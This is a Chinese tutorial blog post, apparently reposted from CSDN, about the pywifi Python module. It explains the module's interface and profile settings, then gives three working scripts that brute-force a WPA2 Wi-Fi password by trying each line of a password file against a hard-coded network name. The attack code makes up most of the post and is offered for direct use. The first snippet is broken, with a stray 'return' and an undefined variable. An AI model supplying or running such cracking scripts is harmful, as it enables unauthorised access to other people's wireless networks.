python pywifi模块——暴力破解wifi

2025-10-10 06:44:29

pywifi模块介绍:pywifi提供了一个跨平台的Python模块,用于操作无线接口支持Windows和Linux

下载安装模块:pip install pywifi 和pip install comtypes

简单尝试:

# f = open('wifi_password.txt','r')

# password = f.readline()

# while password:

# print(password[:-1])

# password = f.readline()

#

import pywifi

from pywifi import const #获取连接状态的常量库

import time

# 抓取网卡接口

wifi = pywifi.PyWiFi()

# 获取第一个无线网卡

ifaces = wifi.interfaces()[0]

# 断开网卡连接

ifaces.disconnect()

time.sleep(1)

# 获取wifi的连接状态

wifistatus = ifaces.status()

# 网卡断开链接后开始连接测试

if wifistatus == const.IFACE_DISCONNECTED:

# 创建wifi连接文件

profile = pywifi.Profile()

# 要连接的wifi的名称 貌似不能用中文?

profile.ssid = '9168hfh'

# 网卡的开放状态 | auth - AP的认证算法

profile.auth = const.AUTH_ALG_OPEN

# wifi的加密算法,一般wifi 加密算法时wps #选择wifi加密方式 akm - AP的密钥管理类型

profile.akm.append(const.AKM_TYPE_WPA2PSK)

# 加密单元 /cipher - AP的密码类型

profile.cipher = const.CIPHER_TYPE_CCMP

# 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE

profile.key = pwd

# 删除所有连接过的wifi文件

ifaces.remove_all_network_profiles()

# 加载新的连接文件

tep_profile = ifaces.add_network_profile(profile)

ifaces.connect(tep_profile)

# wifi连接时间

time.sleep(2)

if ifaces.status() == const.IFACE_CONNECTED:

return True

else:

return False

else:

print("已有wifi连接")

1.wifi接口的操作:

这里的接口指我们用来执行wifi操作(例如:扫描,连接,断开…)的接口

通常,我们平台中只有一个Wi-Fi接口,就像你主机不能同时连接多个wifi(骚操作就算了),因此,使用索引0来获得Wi-Fi接口

wifi = pywifi.PyWiFi() #定义接口操作

iface = wifi.interfaces()[0] #这里iface就是获取的wifi接口

#注意:以下的iface全部是指通过此方式获取的wifi接口,在实际操作中可以自己另外命名

接口名字:

print(iface)iface.name() #获取wifi接口名称print(iface.name())

扫描wifi(AP):

iface.scan() #触发接口扫描附近wifi(就是AP啦)

获取扫描结果:

iface.scan_result() #获取先前触发扫描的结果,会返回一个列表哟

添加AP配置文件(为了连接):

iface.add_network_profile(配置文件名) #下面会讲解如何进行配置

删除所有AP配置文件(为了下一次新的连接):

iface.remove_all_network_profiles()

返回配置文件列表:

iface.network_profiles() #你连接上wifi的时候可以用这个试试,会返回你连接的wifi的信息

连接wifi:

iface.connect(配置文件名) #通过给定的配置文件连接到指定的AP

#注意:添加AP配置文件add_network_profile(profile),应该在连接AP iface.connect(profile)之前

断开AP连接:

iface.disconnect() #断开当前的AP连接

要判断是否连接WiFi,我们需要导入一个常量库:

from pywifi import const

iface.status()

将返回以下状态码之一,这个库里面就显示了接口是否连接对于的常量:

const.IFACE_DISCONNECTED

const.IFACE_SCANNING

const.IFACE_INACTIVE

const.IFACE_CONNECTING

const.IFACE_CONNECTED

2.配置文件:

生成配置文件对象:

profile=pywifi.Profile() #生成对象而已,接下来就能对他进行配置操作了

配置文件的操作方式:

ssid - AP的名称 wifi的名称

auth - AP的认证算法

akm - AP的密钥管理类型 wifi的加密算法,

cipher - AP的密码类型

key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

*使用方式:

profile.ssid='wifi_name' #wifi名称

profile.auth=const.AUTH_ALG_OPEN #auth - AP的认证算法

profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式

profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密码类型

profile.key=password #wifi密钥 key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

必要的说明:auth - AP的认证算法:也是身份验证的算法,其实,几乎所有AP都使用开放算法,尽管我们可以有以下设置

const.AUTH_ALG_OPEN

const.AUTH_ALG_SHARED

akm - AP的密钥管理类型:

const.AKM_TYPE_NONE #AP没有安全设置

const.AKM_TYPE_WPAPSK #AP处于WPA模式

const.AKM_TYPE_WPA2PSK #AP处于WPA2模式

AKM_TYPE_WPA和AKM_TYPE_WPA2针对企业的AP(这里就不解释了):

const.AKM_TYPE_WPA

const.AKM_TYPE_WPA2

cipher - AP的密码类型:

const.CIPHER_TYPE_NONE #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE

const.CIPHER_TYPE_WEP

const.CIPHER_TYPE_TKIP

const.CIPHER_TYPE_CCMP #通常情况下设置为这个,虽然不知道是什么

接下来就要灵活使用上面的操作了(针对中文wifi名无法破解)

import pywifi

from pywifi import const #获取连接状态的常量库

import time

# 测试链接,返回连接结果

def wifiConnect(ifaces,pwd):

# 断开网卡连接

ifaces.disconnect()

time.sleep(1)

# 获取wifi的连接状态

wifistatus = ifaces.status()

# 网卡断开链接后开始连接测试

if wifistatus == const.IFACE_DISCONNECTED:

# 创建wifi连接文件

profile = pywifi.Profile()

# 要连接的wifi的名称 貌似不能用中文?

profile.ssid = '9168hfh'

# 网卡的开放状态 | auth - AP的认证算法

profile.auth = const.AUTH_ALG_OPEN

# wifi的加密算法,一般wifi 加密算法时wps #选择wifi加密方式 akm - AP的密钥管理类型

profile.akm.append(const.AKM_TYPE_WPA2PSK)

# 加密单元 /cipher - AP的密码类型

profile.cipher = const.CIPHER_TYPE_CCMP

# 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE

profile.key = pwd

# 删除所有连接过的wifi文件

ifaces.remove_all_network_profiles()

# 加载新的连接文件

tep_profile = ifaces.add_network_profile(profile)

ifaces.connect(tep_profile)

# wifi连接时间

time.sleep(2)

if ifaces.status() == const.IFACE_CONNECTED:

return True

else:

return False

else:

print("已有wifi连接")

# 读取密码本

def readPassword():

print("开始破解:")

# 密码本路径

path ="wifi_password.txt"

# 打开文件

f = open(path,"r")

while True:

try:

# 一行一行读取

password = f.readline()

password = password[:-1] # 去除一行末的换行符

bool = wifiConnect(ifaces,password)

if bool:

print("密码已破解:",password)

print("wifi已连接!")

ifaces.network_profiles() # 你连接上wifi的时候可以用这个试试,会返回你连接的wifi的信息

break

else:

print("密码破解中,密码校对:",password)

if not password:

print('文件已读取完,退出。')

f.close()

break

except:

# continue

print("error")

if __name__ == '__main__':

# 抓取网卡接口

wifi = pywifi.PyWiFi()

# 获取第一个无线网卡

ifaces = wifi.interfaces()[0]

# print(ifaces)

# 获取电脑无线网卡的名称

# print(ifaces.name())

readPassword()

类方法实现

# coding:utf-8

import time #时间

import pywifi #破解wifi

from pywifi import const #引用一些定义

from asyncio.tasks import sleep

class PoJie():

def __init__(self,path):

self.file=open(path,"r",errors="ignore")

wifi = pywifi.PyWiFi() #抓取网卡接口

self.iface = wifi.interfaces()[0]#抓取第一个无限网卡

self.iface.disconnect() #测试链接断开所有链接

time.sleep(1) #休眠1秒

#测试网卡是否属于断开状态,

assert self.iface.status() in\

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def readPassWord(self):

print("开始破解:")

while True:

try:

myStr =self.file.readline()

if not myStr:

break

bool1=self.test_connect(myStr)

if bool1:

print("密码正确:",myStr)

break

else:

print("密码错误:"+myStr)

sleep(3)

except:

continue

def test_connect(self,findStr):#测试链接

profile = pywifi.Profile() #创建wifi链接文件

profile.ssid ="e2" #wifi名称

profile.auth = const.AUTH_ALG_OPEN #网卡的开放,

profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法

profile.cipher = const.CIPHER_TYPE_CCMP #加密单元

profile.key = findStr #密码

self.iface.remove_all_network_profiles() #删除所有的wifi文件

tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件

self.iface.connect(tmp_profile)#链接

time.sleep(5)

if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上

isOK=True

else:

isOK=False

self.iface.disconnect() #断开

time.sleep(1)

#检查断开状态

assert self.iface.status() in\

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK

def __del__(self):

self.file.close()

path=r"C:\Users\Administrator\Desktop\csdnwifi.txt"

start=PoJie(path)

start.readPassWord()

const.CIPHER_TYPE_NONE #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONEconst.CIPHER_TYPE_WEPconst.CIPHER_TYPE_TKIPconst.CIPHER_TYPE_CCMP #通常情况下设置为这个,虽然不知道是什么————————————————版权声明:本文为CSDN博主「这是一个死肥宅」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/qq_28840013/article/details/85141156